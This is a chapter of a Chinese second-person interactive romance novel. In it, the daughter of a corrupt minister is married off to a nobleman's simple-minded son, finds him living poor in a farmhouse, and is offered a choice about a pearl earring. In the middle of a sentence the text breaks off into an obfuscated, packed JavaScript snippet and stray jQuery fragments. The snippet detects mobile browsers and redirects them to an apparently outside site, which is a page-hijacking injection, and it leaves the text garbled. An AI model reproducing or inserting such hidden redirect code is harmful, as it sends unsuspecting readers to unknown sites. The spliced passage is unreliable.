12. 主线一

主线一、


户部尚书陆琴贪墨军饷,导致西北大军被击溃,帝大怒,下令一族全族满门抄斩。


而你,则是户部尚书独女陆京。此刻你正坐在闺房静静等待圣旨降临,你很清楚没有什么忠臣含冤,也没有什么百转千回的隐情,你的尚书父亲确实是十恶不赦的贪官。


凭借着父亲巧言令色,你享受了这么多年的圣恩卷宠和荣华富贵,现在该还了。


只是可惜了那些边疆的战士。


“小姐,小姐。”


丫鬟急匆匆从院子外跑进来,你以为她是来提醒你宣旨太监到了门口,没想到她竟说:“小姐,事情有转机了,您或许能够活下来!”


满门抄斩的重罪怎么可能有人独活?况且你本来就打算为边疆战士赎罪,如果是父亲想要派人带你离开,你自然不从,所以你问:“发生了何事?”


“小姐可还记得开国公家的二公子?”


开国公季家蒙受圣恩,季家先祖曾与太祖皇帝一同征战沙场,虽然已经过去好几代,但是开国公府依旧盛宠不倦。开国公家的二公子季卿年少成名,却因几年前的一场高热烧成了傻子,被开国公送去京外庄子上修养至今未归。


你之所以知道的这么清楚,是因为你的娘亲与开国公夫人是手帕交,并且跟大公子有婚约,当然现在这婚约也已经完全不做数了。


开国公府没有受到牵连已是万幸,难道开国公不竟真想不开要救你那混账阿爹?


“小姐,据说昨天有道士上门,说你与那二公子的八字极其相合,若是娶你过门,说不定能令二公子好转。”丫鬟小心翼翼观察你的神色,发现你并没有生气后继续说,“开国公已向陛下上呈了免死金牌,咱们尚书府有救了。”


你看着窗外的桃枝冷笑出声,一个免死金牌又能救多少人?那开国公估计只想保你一人,陆家也只是顺带,死罪可免活罪难逃,陆家的人活下来也不会好过到哪里去。不过季家人当真是宠的二公子,即便已经成为了傻子,也愿意奉上免死金牌只求一个机会,哪怕你是他们家大公子的未婚妻。


不过……季家……


你叹了口气,“能活下来就好。”


果不其然,次日陛下一纸诏书,陆氏全族南丁流放边疆,女眷贬为奴籍发卖。而你堂堂陆家大小姐,高门贵女只能由一顶小轿送出城外,下嫁给了那个痴傻二公子。


甚至连随身丫鬟都不能带,上轿子前那粗鲁的婆子塞了你个荷包,并且为你带来了开国公的意思。


“二少夫人,你最好乖乖听话,不然咱们开国公可不能保证你家人能平安无事。”


你想起陆家的亲人,温柔贤惠的母亲和可爱的堂弟,堂妹,于是你闭上了眼睛不再反抗。左右不过是一死,而且现在你对开国公府还有价值,他们不会让你死。


小轿摇摇晃晃走在乡村的土路上,你将那荷包打开来看,里面竟是一百两银票。


难道这是开国公府的聘礼?


一百两?这简直就是天大的羞辱!


小轿子摇摇晃晃,你心中的愤怒也逐渐被自我调理,你向来能很快接受现状,开国公府塞这个荷包估计是想给你一个下马威,也不知道那庄子到底如何,这一百两够你活多久。


还有……


季卿。


你维持着贵族小姐的端庄,心里却在偷偷幻想你未来相公的样子。


其实你年少时曾见过季卿,风姿绰约的青衫公子倚在画舫窗前对着你微微一笑,周围好几个姐妹都羞红了脸,就只有你回他以微笑。


当时你是真把他当成弟弟看待,身为他未来的大嫂,你当时想的居然是他衣裳穿的这么薄,吹了风会不会受凉?


这句话通过传信的家丁带去季卿的画舫,青山公子对着你微微点头,竟真吩咐下人取来斗篷披上,动作间你看到他微微抬起的手腕上有一颗红痣,像是藏起来的一点朱砂。


你想这未来的小弟当真是温顺,只可惜世事无常,他因痴傻被送出京,你却从他的大嫂,成为了他的妻子。


他现在是什么样的呢?


你想着想着忽然困意上涌,竟在这颠簸的小轿子里面死死睡了过去。


——


“媳妇儿,媳妇儿,你别睡了,跟我说说话。”


你是被一双有力的大手摇醒的,你睁开眼就见到个陌生男子站在床前,吓得你想尖叫,但硬生生被压了下去。


陆家大小姐即便家道中落全族流放,也至少要有贵族小姐的样子,仪态不能出错,所以你只是惊惧往床后面,缩紧靠到墙后才有些安全感。


“你是谁?怎么敢近我的身?”


“你是我媳妇儿啊,我是你相公。”男人如鹰隼般的眼睛盯着你,“你是我父亲花一百两从脖子那里买回的媳妇儿。”


一百两?


你紧皱眉头,想起上轿之前那婆子塞给你的荷包,突然福至心灵。


“我把这一百两还你,你让我走。”你连忙从荷包里把一百两银票拿出来递给他。


没想到那傻子完全不听你的话,直接伸手去拉你的衣裳,一边拉一边说:“我不要你就是我媳妇儿,你不能走!”


你们身下这张床又小又简陋,只有一个枕头和一张薄褥子,四方挂的白色帐子也透露着陈旧的气息,仿佛一碰就散架。


你避开男人的手,男人勾住了那帐子,果不其然,整个床帐都被他扯到地上。


你躲避了两下,最终逃不过他的大手,被他硬是拉到面前亲了一脸的口水,挣扎间居然也看见了,他手腕内侧有一颗红痣,位置跟季卿一模一样。


“我不是你媳妇儿!”你终于尖叫出声,以前这个男人居然真就是你那傻子相公,因为你完全不能接受为季卿会变成现在这个野蛮的样子。


“那你是谁?”


男人一双清澈的眼睛呆愣愣的看着你,你也被他这个问题问傻了,无法回答。


你现在已经不是季家大小姐了,是开国功夫用免死金牌买走的二少夫人,是被一顶小轿送到乡下去给傻子冲喜的女人。


“我是……”


你依旧无法直视男人那清澈的眼睛,他穿着粗布麻衣,跟从前那个青衫公子没有丝毫相似之处。


你的傻子相公就这么呆呆的看了你很久,最终还是一句话都没有说,只是不开心的离开了屋子。


“媳妇儿,我去做晚饭。”


等到他扯过薄被披在身上,有些发抖地打量这间屋子,被男人扯坏的床帐团成一团在床底下,染上了灰黄的泥土。旁边的地上还有奇怪的水渍和食物残渣,顺着那个地方看过去,你发现房顶居然破了好几个洞,还有小虫在洞里爬来爬去,仿佛随时都能掉到身上。


难道你真要在这里了此残生吗?


你两眼无神,看着这简陋的房间默默流泪。自家族事变后你就没怎么吃过东西,整个人绵软无力,就连下床走路的力气也没有。


不知过了多久,窗外的夕阳逐渐落下去,小小的土屋里一点光源也没有,你甚至听到了山林里时不时传来的狼叫,蜷缩在墙角越来越怕。


不是说季家二公子特别受宠吗?为什么要住在这种地方,连个伺候的人也没有。


“吱呀——”


虚掩着的木门被推开,男人一手端一个碗走进来,缺了口的碗冒着腾腾热气,你鼻子动了动,肚子饿的咕咕叫。


“媳妇儿,吃饭了。”


因为这个房间里根本就没有桌子,所以他把那两只碗放到凳子上就打算过来找你,你不想再被他那双大手捏一次,于是连忙从


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246278|166239||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


床上下来,却因腿软差点直接倒在地上。


还好这男人接住了,只是他身上的粗布麻衣摩得你很不舒服,你小小瞪他一眼,然后走到那小邓面前去看他做了什么。


两碗清水面,一碗还加了个焦黑的鸡蛋。


你的眼泪直接下来了,你从来没有吃过这么简陋的食物,但你现在太饿了,只好端起没有蛋的那一碗准备开吃,却被男人拦住。


“媳妇儿,吃这个。”


他把有煎蛋的那一碗清水面端给你,那一碗清水面分量十足,你连三分之一都吃不完,所以你以为这是他给自己做的,没想到这是他给你做的。


端着加了鸡蛋的清水面,你有些怔愣,这傻子为什么要把鸡蛋给你?而且……


你用筷子嫌弃拍了拍那发黑的鸡蛋,咬了一口差点吐出来,因为鸡蛋里没放盐,面里面也没放盐,满口都是焦糊的味道。


“怎么样媳妇儿,好吃吗?”


小傻子端着那碗分量很少的面看着你,你声音有些晦涩:“家里没有其他食物了吗?”


傻子摇头:“这是最后一颗鸡蛋了,我不舍得吃,专门留给媳妇儿。”


你感觉嘴里苦涩,也不知道是因为这发黑的鸡蛋还是其他。户部尚书府何等奢靡,别说是一枚小小的鸡蛋,即便是虎骨凤胆都只是寻常菜肴,现在这傻子穷成这样却愿意把最后一颗鸡蛋给他,也不知他是怎么想的。


你强行把那发黑的煎蛋咽下去,又吃了几口清水面填饱肚子就再也吃不下去,把碗放在一边。


傻子相公吃完自己那一碗面还意犹未尽,看你放下碗连忙说:“媳妇儿,我来帮你吃。”


他丝毫不介意那碗沾过你口水的面,吃得狼吞虎咽,没两三下就把那一大碗面也吞入腹中,动作豪爽而粗鲁。


你默默别过头去,开始思考今晚要怎么过。你并没有做好第一天就跟傻子相公洞房的准备,好在现在有了力气可以离开房间到处转转,说不定能奇迹发现第二间房。


然而并没有,这只是一个再简陋不过的农家小院,院里有一片熙稀拉拉的菜地,整个院子只有那一间卧房。


还有一间柴房。


“你要睡柴房吗?”你问傻子相公。


小傻子很好哄,虽然你知道这样是在趁人之危,但你真的不想跟陌生男子入睡。


“我吗?”男人直指自己清澈的眼神写满疑惑。


“对。”


“好、好吧。”


他不存在的耳朵耷拉下去,亮亮的眼睛也委屈极了,你狠狠心最终从箱子里拿出一床薄被丢给他,然后关上了房门。


你只是需要时间过度,你这样想,然后回到了床上准备入睡。


山林静谧无声,时不时有不知名野兽的叫声传来,你在床上辗转反侧,发霉的被褥和坚硬的床铺硌得你浑身发痛,你强迫自己入睡,却多次尝试无果,只好坐起来望着窗外的月色默默发呆。


月色洒在床边,照亮的床铺靠外的三分之一,你突然在枕头边发现了个在发光东西,拿起来一看,竟然是一个十分眼熟的珍珠耳坠。


季卿家里家徒四壁,这里怎么会有一枚珍珠耳坠?而且这珍珠成色上佳,耳坠的样式虽然有些老旧,但一定能够卖个好价钱。


你握着那个耳坠,心里疑惑重重,开始思考明天要不要询问这耳坠的来历。


所以你选择:


【1.你能从容接受任何改变,并且愿意就这么陪着季卿到老,所以你打算明天直接向季卿询问耳坠来历。跳转到第十三章[真挚]。】


【2.你仍将自己当做季卿的大嫂,这些事都与你无关系,所以你不询问,将此事压在心里,跳转到第十四章[另类]】


温馨提示1:只有你的同类不会伤害你。